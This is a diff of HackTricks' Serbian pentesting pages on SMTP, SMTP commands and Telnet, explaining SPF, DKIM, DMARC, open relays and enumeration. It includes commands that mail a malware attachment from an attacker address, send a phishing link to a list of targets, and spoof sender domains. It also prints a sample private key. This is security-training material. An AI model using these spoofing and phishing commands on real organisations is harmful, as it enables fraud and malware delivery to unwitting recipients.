{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## DSN Izveštaji ## DSN Izveštaji
**Izveštaji o statusu isporuke**: Ako pošaljete **email** organizaciji na **nevažeću adresu**, organizacija će vas obavestiti da je adresa nevažeća slanjem **mail-a nazad vama**. **Zaglavlja** vraćenog email-a će **sadržati** moguće **osetljive informacije** (kao što su IP adresa mail servisa koji su komunicirali sa izveštajima ili informacije o antivirusnom softveru). **Izveštaji o statusu isporuke**: Ako pošaljete **email** organizaciji na **nevažeću adresu**, organizacija će vas obavestiti da je adresa nevažeća slanjem **maila nazad vama**. **Zaglavlja** vraćenog emaila će **sadržati** moguće **osetljive informacije** (kao što su IP adresa mail servisa koji su komunicirali sa izveštajima ili informacije o antivirusnom softveru).
## [Komande](smtp-commands.md) ## [Komande](smtp-commands.md)
### Slanje email-a iz linux konzole ### Slanje Email-a iz linux konzole
```bash ```bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used. Reading message body from STDIN because the '-m' option was not used.
@ -193,7 +197,7 @@ If you are manually typing in a message:
```bash ```bash
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197 swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197
``` ```
### Слање е-поште са Питоном ### Слање е-поште помоћу Питона
<details> <details>
@ -244,7 +248,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
## SMTP Smuggling ## SMTP Smuggling
SMTP Smuggling ranjivost je omogućila zaobilaženje svih SMTP zaštita (pogledajte sledeći odeljak za više informacija o zaštitama). Za više informacija o SMTP Smuggling-u pogledajte: SMTP Smuggling ranjivost je omogućila zaobilaženje svih SMTP zaštita (pogledajte sledeći odeljak za više informacija o zaštitama). Za više informacija o SMTP Smuggling pogledajte:
{% content-ref url="smtp-smuggling.md" %} {% content-ref url="smtp-smuggling.md" %}
[smtp-smuggling.md](smtp-smuggling.md) [smtp-smuggling.md](smtp-smuggling.md)
@ -254,13 +258,13 @@ SMTP Smuggling ranjivost je omogućila zaobilaženje svih SMTP zaštita (pogleda
Organizacije su sprečene da imaju neovlašćene e-mailove poslati u njihovo ime korišćenjem **SPF**, **DKIM** i **DMARC** zbog lakoće lažiranja SMTP poruka. Organizacije su sprečene da imaju neovlašćene e-mailove poslati u njihovo ime korišćenjem **SPF**, **DKIM** i **DMARC** zbog lakoće lažiranja SMTP poruka.
**potpun vodič za ove kontra mere** je dostupan na [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/). **potpun vodič za ove protivmere** je dostupan na [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF ### SPF
{% hint style="danger" %} {% hint style="danger" %}
SPF [je "deprecated" 2014. godine](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). To znači da umesto kreiranja **TXT zapisa** u `_spf.domain.com` kreirate ga u `domain.com` koristeći **istu sintaksu**.\ SPF [je "deprecated" 2014. godine](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). To znači da umesto da kreirate **TXT zapis** u `_spf.domain.com`, kreirate ga u `domain.com` koristeći **istu sintaksu**.\
Pored toga, da biste ponovo koristili prethodne spf zapise, prilično je uobičajeno naći nešto poput `"v=spf1 include:_spf.google.com ~all"` Pored toga, da biste ponovo koristili prethodne spf zapise, prilično je uobičajeno pronaći nešto poput `"v=spf1 include:_spf.google.com ~all"`
{% endhint %} {% endhint %}
**Sender Policy Framework** (SPF) je mehanizam koji omogućava Mail Transfer Agents (MTAs) da verifikuju da li je host koji šalje e-mail ovlašćen upitom na listu ovlašćenih mail servera koju definišu organizacije. Ova lista, koja specificira IP adrese/opsege, domene i druge entitete **ovlašćene da šalju e-mail u ime domena**, uključuje razne "**Mehanizme**" u SPF zapisu. **Sender Policy Framework** (SPF) je mehanizam koji omogućava Mail Transfer Agents (MTAs) da verifikuju da li je host koji šalje e-mail ovlašćen upitom na listu ovlašćenih mail servera koju definišu organizacije. Ova lista, koja specificira IP adrese/opsege, domene i druge entitete **ovlašćene da šalju e-mail u ime domena**, uključuje razne "**Mehanizme**" u SPF zapisu.
@ -272,16 +276,16 @@ Sa [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| Mehanizam | Opis | | Mehanizam | Opis |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Uvek se poklapa; koristi se za podrazumevani rezultat poput `-all` za sve IP adrese koje nisu poklopljene prethodnim mehanizmima. | | ALL | Uvek se poklapa; koristi se za podrazumevani rezultat poput `-all` za sve IP adrese koje nisu poklopljene prethodnim mehanizmima. |
| A | Ako domen ima adresni zapis (A ili AAAA) koji može biti rešen na adresu pošiljaoca, poklapaće se. | | A | Ako domen ima adresni zapis (A ili AAAA) koji može da se reši na adresu pošiljaoca, poklapaće se. |
| IP4 | Ako je pošiljalac u datom IPv4 opsegu adresa, poklapaće se. | | IP4 | Ako je pošiljalac u datom IPv4 opsegu adresa, poklapaće se. |
| IP6 | Ako je pošiljalac u datom IPv6 opsegu adresa, poklapaće se. | | IP6 | Ako je pošiljalac u datom IPv6 opsegu adresa, poklapaće se. |
| MX | Ako domen ima MX zapis koji se rešava na adresu pošiljaoca, poklapaće se (tj. e-mail dolazi sa jednog od dolaznih mail servera domena). | | MX | Ako domen ima MX zapis koji se rešava na adresu pošiljaoca, poklapaće se (tj. e-mail dolazi sa jednog od domenovih dolaznih mail servera). |
| PTR | Ako je naziv domena (PTR zapis) za adresu klijenta u datom domenu i taj naziv domena se rešava na adresu klijenta (potvrđeni obrnuti DNS), poklapaće se. Ovaj mehanizam se ne preporučuje i treba ga izbegavati, ako je moguće. | | PTR | Ako je naziv domena (PTR zapis) za adresu klijenta u datom domenu i taj naziv domena se rešava na adresu klijenta (potvrđeni obrnuti DNS), poklapaće se. Ovaj mehanizam se ne preporučuje i treba ga izbegavati, ako je moguće. |
| EXISTS | Ako se dati naziv domena rešava na bilo koju adresu, poklapaće se (bez obzira na adresu na koju se rešava). Ovo se retko koristi. Zajedno sa SPF makro jezikom nudi složenije poklapanje poput DNSBL upita. | | EXISTS | Ako se dati naziv domena rešava na bilo koju adresu, poklapaće se (bez obzira na adresu na koju se rešava). Ovo se retko koristi. Zajedno sa SPF makro jezikom nudi složenije poklapanje poput DNSBL upita. |
| INCLUDE | Upućuje na politiku drugog domena. Ako politika tog domena prođe, ovaj mehanizam prolazi. Međutim, ako uključena politika ne prođe, obrada se nastavlja. Da biste potpuno delegirali na politiku drugog domena, mora se koristiti redirekcioni dodatak. | | INCLUDE | Upućuje na politiku drugog domena. Ako politika tog domena prođe, ovaj mehanizam prolazi. Međutim, ako uključena politika ne prođe, obrada se nastavlja. Da biste potpuno delegirali na politiku drugog domena, mora se koristiti redirekcioni ekstenzija. |
| REDIRECT | <p>Redirekcija je pokazivač na drugi naziv domena koji hostuje SPF politiku, omogućava više domena da dele istu SPF politiku. Korisno je kada radite sa velikim brojem domena koji dele istu e-mail infrastrukturu.</p><p>Koristiće se SPF politika domena naznačenog u redirekciji.</p> | | REDIRECT | <p>Redirekcija je pokazivač na drugi naziv domena koji hostuje SPF politiku, omogućava više domena da dele istu SPF politiku. Korisno je kada radite sa velikim brojem domena koji dele istu e-mail infrastrukturu.</p><p>SPF politika domena naznačenog u redirekciji će se koristiti.</p> |
Takođe je moguće identifikovati **Kvalifikatore** koji označavaju **šta treba učiniti ako se mehanizam poklapa**. Po defaultu, koristi se **kvalifikator "+"** (tako da ako se bilo koji mehanizam poklapa, to znači da je dozvoljeno).\ Takođe je moguće identifikovati **Kvalifikatore** koji ukazuju **šta treba učiniti ako se mehanizam poklapa**. Po defaultu, koristi se **kvalifikator "+"** (tako da ako se bilo koji mehanizam poklapa, to znači da je dozvoljeno).\
Obično ćete primetiti **na kraju svake SPF politike** nešto poput: **\~all** ili **-all**. Ovo se koristi da označi da **ako pošiljalac ne odgovara nijednoj SPF politici, treba označiti e-mail kao nepouzdan (\~) ili odbiti (-) e-mail.** Obično ćete primetiti **na kraju svake SPF politike** nešto poput: **\~all** ili **-all**. Ovo se koristi da označi da **ako pošiljalac ne odgovara nijednoj SPF politici, treba označiti e-mail kao nepouzdan (\~) ili odbiti (-) e-mail.**
#### Kvalifikatori #### Kvalifikatori
@ -312,7 +316,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
``` ```
Tradicionalno je bilo moguće lažirati bilo koje ime domena koje nije imalo ispravan/nikakav SPF zapis. **Danas**, ako **email** dolazi sa **domene bez važećeg SPF zapisa**, verovatno će biti **odbijen/označen kao nepouzdan automatski**. Tradicionalno je bilo moguće lažirati bilo koje ime domena koje nije imalo ispravan/bilo koji SPF zapis. **Danas**, ako **email** dolazi iz **domena bez važećeg SPF zapisa**, verovatno će biti **odbijen/označen kao nepouzdan automatski**.
Da biste proverili SPF domena, možete koristiti online alate kao što su: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) Da biste proverili SPF domena, možete koristiti online alate kao što su: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
@ -330,7 +334,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
``` ```
### DMARC (Domain-based Message Authentication, Reporting & Conformance) ### DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARC poboljšava bezbednost e-pošte oslanjajući se na SPF i DKIM protokole. Definiše politike koje usmeravaju mail servere u rukovanju e-porukama iz određenog domena, uključujući kako se nositi sa neuspesima autentifikacije i gde slati izveštaje o akcijama obrade e-pošte. DMARC poboljšava bezbednost e-pošte oslanjajući se na SPF i DKIM protokole. Definiše politike koje usmeravaju mail servere u rukovanju e-porukama iz određenog domena, uključujući kako se nositi sa neuspesima autentifikacije i gde slati izveštaje o radnjama obrade e-pošte.
**Da biste dobili DMARC zapis, potrebno je da upitite poddomen \_dmarc** **Da biste dobili DMARC zapis, potrebno je da upitite poddomen \_dmarc**
```bash ```bash
@ -349,15 +353,15 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
#### DMARC oznake #### DMARC oznake
| Ime oznake | Svrha | Primer | | Ime oznake | Svrha | Primer |
| -----------| --------------------------------------------- | ------------------------------- | | -----------| ---------------------------------------------| ------------------------------- |
| v | Verzija protokola | v=DMARC1 | | v | Verzija protokola | v=DMARC1 |
| pct | Procenat poruka podložnih filtriranju | pct=20 | | pct | Procenat poruka podložnih filtriranju | pct=20 |
| ruf | URI za izveštavanje o forenzičkim izveštajima| ruf=mailto:authfail@example.com | | ruf | URI za izveštavanje o forenzičkim izveštajima | ruf=mailto:authfail@example.com |
| rua | URI za izveštavanje o agregatnim izveštajima| rua=mailto:aggrep@example.com | | rua | URI za izveštavanje o agregatnim izveštajima | rua=mailto:aggrep@example.com |
| p | Politika za organizacionu domenu | p=quarantine | | p | Politika za organizacionu domenu | p=quarantine |
| sp | Politika za poddomene OD | sp=reject | | sp | Politika za poddomene OD | sp=reject |
| adkim | Način usklađivanja za DKIM | adkim=s | | adkim | Način usklađivanja za DKIM | adkim=s |
| aspf | Način usklađivanja za SPF | aspf=r | | aspf | Način usklađivanja za SPF | aspf=r |
### **Šta je sa poddomenama?** ### **Šta je sa poddomenama?**
@ -375,15 +379,15 @@ Sledeće je prvobitno objavljeno na openspf.org, koji je nekada bio odličan res
To ima smisla - poddomena može biti u različitoj geografskoj lokaciji i imati vrlo različitu SPF definiciju. To ima smisla - poddomena može biti u različitoj geografskoj lokaciji i imati vrlo različitu SPF definiciju.
### **Otvoreni relj** ### **Open Relay**
Kada se šalju emailovi, osiguranje da ne budu označeni kao spam je ključno. To se često postiže korišćenjem **relay servera koji je poverljiv od strane primaoca**. Međutim, uobičajeni izazov je da administratori možda nisu potpuno svesni koje **IP adrese su sigurne za dozvoliti**. Ova nedostatak razumevanja može dovesti do grešaka u postavljanju SMTP servera, što je rizik koji se često identifikuje u bezbednosnim procenama. Kada se šalju emailovi, osiguranje da ne budu označeni kao spam je ključno. To se često postiže korišćenjem **relay servera koji je poverljiv za primaoca**. Međutim, uobičajeni izazov je to što administratori možda nisu potpuno svesni koje **IP opsege je sigurno dozvoliti**. Ova nedostatak razumevanja može dovesti do grešaka u postavljanju SMTP servera, što je rizik koji se često identifikuje u bezbednosnim procenama.
Rešenje koje neki administratori koriste da izbegnu probleme sa isporukom emaila, posebno u vezi sa komunikacijom sa potencijalnim ili postojećim klijentima, je da **dozvole veze sa bilo kojom IP adresom**. To se postiže konfigurisanjem `mynetworks` parametra SMTP servera da prihvati sve IP adrese, kao što je prikazano u nastavku: Rešenje koje neki administratori koriste da izbegnu probleme sa isporukom emailova, posebno u vezi sa komunikacijom sa potencijalnim ili postojećim klijentima, je da **dozvole veze sa bilo kojom IP adresom**. To se postiže konfigurisanjem `mynetworks` parametra SMTP servera da prihvati sve IP adrese, kao što je prikazano u nastavku:
```bash ```bash
mynetworks = 0.0.0.0/0 mynetworks = 0.0.0.0/0
``` ```
Za proveru da li je mail server otvoreni relé (što znači da može proslediti email sa bilo kog spoljnog izvora), alat `nmap` se često koristi. Uključuje specifičan skript dizajniran za testiranje ovoga. Komanda za izvođenje detaljnog skeniranja na serveru (na primer, sa IP 10.10.10.10) na portu 25 koristeći `nmap` je: Za proveru da li je mail server otvoreni relé (što znači da može proslediti email sa bilo kog spoljnog izvora), alat `nmap` se obično koristi. Uključuje specifičan skript dizajniran za testiranje ovoga. Komanda za izvođenje detaljnog skeniranja na serveru (na primer, sa IP 10.10.10.10) na portu 25 koristeći `nmap` je:
```bash ```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v nmap -p25 --script smtp-open-relay 10.10.10.10 -v
``` ```
@ -408,7 +412,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
``` ```
{% hint style="warning" %} {% hint style="warning" %}
Ako dobijete neku **grešku prilikom korišćenja dkim python lib** za parsiranje ključa, slobodno koristite ovaj sledeći.\ Ako dobijete bilo kakvu **grešku prilikom korišćenja dkim python lib** za parsiranje ključa, slobodno koristite ovaj sledeći.\
**NAPOMENA**: Ovo je samo brzi popravak za brze provere u slučajevima kada iz nekog razloga openssl privatni ključ **ne može biti parsiran od strane dkim**. **NAPOMENA**: Ovo je samo brzi popravak za brze provere u slučajevima kada iz nekog razloga openssl privatni ključ **ne može biti parsiran od strane dkim**.
``` ```
-----BEGIN RSA PRIVATE KEY----- -----BEGIN RSA PRIVATE KEY-----
@ -433,8 +437,8 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
{% tabs %} {% tabs %}
{% tab title="PHP" %} {% tab title="PHP" %}
<pre class="language-php"><code class="lang-php"><strong># Ovo će poslati nesigurnu poruku <pre class="language-php"><code class="lang-php"><strong># Ovo će poslati nepotpisanu poruku
</strong><strong>mail("your_email@gmail.com", "Test Subject!", "hey! Ovo je test", "From: administrator@victim.com"); </strong><strong>mail("your_email@gmail.com", "Test Subject!", "hej! Ovo je test", "From: administrator@victim.com");
</strong></code></pre> </strong></code></pre>
{% endtab %} {% endtab %}
@ -508,7 +512,7 @@ s.sendmail(sender, [destination], msg_data)
* Tehnike manipulacije linkovima * Tehnike manipulacije linkovima
* Sumnjivi (neobični) dodaci * Sumnjivi (neobični) dodaci
* Pokvareni sadržaj e-pošte * Pokvareni sadržaj e-pošte
* Vrednosti koje se koriste koje se razlikuju od onih u zaglavljima e-pošte * Vrednosti koje se koriste i koje se razlikuju od onih u zaglavljima e-pošte
* Postojanje važećeg i pouzdanog SSL sertifikata * Postojanje važećeg i pouzdanog SSL sertifikata
* Podnošenje stranice sajtovima za filtriranje web sadržaja * Podnošenje stranice sajtovima za filtriranje web sadržaja
@ -520,7 +524,7 @@ s.sendmail(sender, [destination], msg_data)
### Postfix ### Postfix
Obično, ako je instaliran, u `/etc/postfix/master.cf` sadrži **skripte za izvršavanje** kada, na primer, novi mail bude primljen od strane korisnika. Na primer, linija `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` znači da će `/etc/postfix/filtering` biti izvršeno ako novi mail bude primljen od korisnika mark. Obično, ako je instaliran, u `/etc/postfix/master.cf` sadrži **skripte za izvršavanje** kada, na primer, novi mail bude primljen od strane korisnika. Na primer, linija `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` znači da će `/etc/postfix/filtering` biti izvršen ako novi mail bude primljen od korisnika mark.
Ostali konfiguracioni fajlovi: Ostali konfiguracioni fajlovi:
``` ```
@ -585,7 +589,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Izvršite potpuno pentestiranje sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -598,7 +604,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Podržite HackTricks</summary> <summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>

View file

@ -17,7 +17,9 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Izvršite potpuno pentestiranje sa bilo kog mesta uz 20+ alata i funkcija koje idu od rekognicije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili vreme da dublje istražuju, otvaraju shell-ove i zabavljaju se. #### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -30,16 +32,16 @@ To je prva SMTP komanda: započinje razgovor identifikujući server pošiljaoca
Alternativna komanda za započinjanje razgovora, naglašavajući da server koristi prošireni SMTP protokol. Alternativna komanda za započinjanje razgovora, naglašavajući da server koristi prošireni SMTP protokol.
**MAIL FROM**\ **MAIL FROM**\
Ovom SMTP komandom započinju operacije: pošiljalac navodi izvornu email adresu u polju "From" i zapravo započinje prenos email-a. Ovom SMTP komandom započinju operacije: pošiljalac navodi izvornu email adresu u polju “From” i zapravo započinje prenos emaila.
**RCPT TO**\ **RCPT TO**\
Identifikuje primaoca email-a; ako ih ima više, komanda se jednostavno ponavlja adresa po adresa. Identifikuje primaoca emaila; ako ih ima više, komanda se jednostavno ponavlja adresa po adresa.
**SIZE**\ **SIZE**\
Ova SMTP komanda obaveštava udaljeni server o procenjenoj veličini (u bajtovima) priloženog email-a. Takođe se može koristiti za izveštavanje o maksimalnoj veličini poruke koju server može prihvatiti. Ova SMTP komanda obaveštava udaljeni server o procenjenoj veličini (u bajtovima) priloženog emaila. Takođe se može koristiti za izveštavanje o maksimalnoj veličini poruke koju server može prihvatiti.
**DATA**\ **DATA**\
Sa DATA komandom započinje prenos sadržaja email-a; obično je prati 354 odgovorni kod koji daje server, dajući dozvolu za započinjanje stvarnog prenosa. Sa DATA komandom započinje prenos sadržaja emaila; obično je prati 354 odgovorni kod koji daje server, dajući dozvolu za započinjanje stvarnog prenosa.
**VRFY**\ **VRFY**\
Server se traži da potvrdi da li određena email adresa ili korisničko ime zapravo postoje. Server se traži da potvrdi da li određena email adresa ili korisničko ime zapravo postoje.
@ -51,20 +53,22 @@ Ova komanda se koristi za preokretanje uloga između klijenta i servera, bez pot
Sa AUTH komandom, klijent se autentifikuje na serveru, dajući svoje korisničko ime i lozinku. To je još jedan sloj sigurnosti koji garantuje ispravan prenos. Sa AUTH komandom, klijent se autentifikuje na serveru, dajući svoje korisničko ime i lozinku. To je još jedan sloj sigurnosti koji garantuje ispravan prenos.
**RSET**\ **RSET**\
Komunicira serveru da će trenutni prenos email-a biti prekinut, iako razgovor SMTP-a neće biti zatvoren (kao u slučaju QUIT). Obaveštava server da će trenutni prenos emaila biti prekinut, iako razgovor SMTP neće biti zatvoren (kao u slučaju QUIT).
**EXPN**\ **EXPN**\
Ova SMTP komanda traži potvrdu o identifikaciji mailing liste. Ova SMTP komanda traži potvrdu o identifikaciji mailing liste.
**HELP**\ **HELP**\
To je zahtev klijenta za informacijama koje mogu biti korisne za uspešan prenos email-a. To je zahtev klijenta za nekim informacijama koje mogu biti korisne za uspešan prenos emaila.
**QUIT**\ **QUIT**\
Zatvara SMTP razgovor. Zatvara SMTP razgovor.
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Izvršite potpuno pentestiranje sa bilo kog mesta uz 20+ alata i funkcija koje idu od rekognicije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili vreme da dublje istražuju, otvaraju shell-ove i zabavljaju se. #### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite potpuni pentest sa bilo kog mesta uz 20+ alata i funkcija koje idu od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **Osnovne informacije** ## **Osnovne informacije**
Telnet je mrežni protokol koji korisnicima pruža NESIGURAN način pristupa računaru putem mreže. Telnet je mrežni protokol koji korisnicima pruža nesiguran način pristupa računaru preko mreže.
**Podrazumevani port:** 23 **Podrazumevani port:** 23
``` ```
@ -35,13 +37,13 @@ Telnet je mrežni protokol koji korisnicima pruža NESIGURAN način pristupa ra
```bash ```bash
nc -vn <IP> 23 nc -vn <IP> 23
``` ```
Sve zanimljive enumeracije mogu se izvršiti pomoću **nmap**: Sve zanimljivo enumerisanje može se izvršiti pomoću **nmap**:
```bash ```bash
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP> nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
``` ```
Skripta `telnet-ntlm-info.nse` će dobiti NTLM informacije (verzije Windows-a). Skripta `telnet-ntlm-info.nse` će dobiti NTLM informacije (verzije Windows-a).
Iz [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): U TELNET protokolu postoje različite "**opcije**" koje će biti odobrene i mogu se koristiti sa strukturom "**DO, DON'T, WILL, WON'T**" kako bi se omogućilo korisniku i serveru da se dogovore o korišćenju složenijeg (ili možda samo drugačijeg) skupa konvencija za njihovu TELNET vezu. Takve opcije mogu uključivati promenu skupa karaktera, režim eha, itd. Iz [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): U TELNET protokolu postoje razne "**opcije**" koje će biti odobrene i mogu se koristiti sa strukturom "**DO, DON'T, WILL, WON'T**" kako bi se omogućilo korisniku i serveru da se dogovore o korišćenju složenijeg (ili možda samo drugačijeg) skupa konvencija za njihovu TELNET vezu. Takve opcije mogu uključivati promenu skupa karaktera, režim eha, itd.
**Znam da je moguće enumerisati ove opcije, ali ne znam kako, pa me obavestite ako znate kako.** **Znam da je moguće enumerisati ove opcije, ali ne znam kako, pa me obavestite ako znate kako.**
@ -87,7 +89,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOS
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i pentesting**. Izvršite potpuni pentest sa bilo kog mesta uz 20+ alata i funkcija koje se kreću od rekognosciranja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
